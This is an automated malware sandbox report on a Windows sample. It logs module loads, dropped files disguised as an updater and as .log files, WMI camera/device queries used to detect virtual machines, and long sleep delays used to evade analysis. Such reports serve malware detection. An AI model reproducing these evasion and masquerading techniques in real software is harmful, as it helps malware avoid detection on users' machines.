Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 1hibLFnCm1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 1hibLFnCm1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mountvol.pdb source: 1hibLFnCm1.exe, 1hibLFnCm1.exe, 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp, ms_tool.exe, 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe, 00000001.00000000.1699378223.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe.0.dr
Source:	Binary string: mountvol.pdbGCTL source: 1hibLFnCm1.exe, 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp, ms_tool.exe, 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe, 00000001.00000000.1699378223.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe.0.dr

Source: 1hibLFnCm1.exe

Static PE information: section name: .cSs

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F5B495 push ecx; ret	0_2_00F5B4A8
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAAFB02 pushad ; ret	3_2_00007FFD9BAAFB03
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAA8163 push ebx; ret	3_2_00007FFD9BAA816A

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	File created: C:\Users\user\AppData\Roaming\ms_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File created: C:\Users\user\Desktop\mHYqxgSr.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File created: C:\Users\user\Desktop\gOvRVAND.log	Jump to dropped file
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	File created: C:\Users\user\AppData\Roaming\ms_tool.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File created: C:\Users\user\Desktop\gOvRVAND.log			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File created: C:\Users\user\Desktop\mHYqxgSr.log			Jump to dropped file

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Memory allocated: 1560000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Memory allocated: 1AFD0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599130	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598776	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598669	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598106	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 597989	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Window / User API: threadDelayed 667			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Window / User API: threadDelayed 2595			Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mHYqxgSr.log			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gOvRVAND.log			Jump to dropped file

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-23406

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

API coverage: 9.6 %

Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 6764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -599844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -599359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -599130s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598776s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598669s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 7076	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 5868	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -598106s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 4948	Thread sleep time: -597989s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 7020	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe TID: 7076	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Code function: 3_2_00007FFD9BAA8B98 GetSystemInfo,

3_2_00007FFD9BAA8B98

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599130	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598776	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598669	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 598106	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 597989	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: ms_updater.exe, 00000003.00000002.1764565356.000000001BA57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlld6R
Source: ms_tool.exe, 00000001.00000002.1700859174.000001F61B760000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: w32tm.exe, 00000008.00000002.1810190735.0000012F753B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Process information queried: ProcessInformation

Jump to behavior

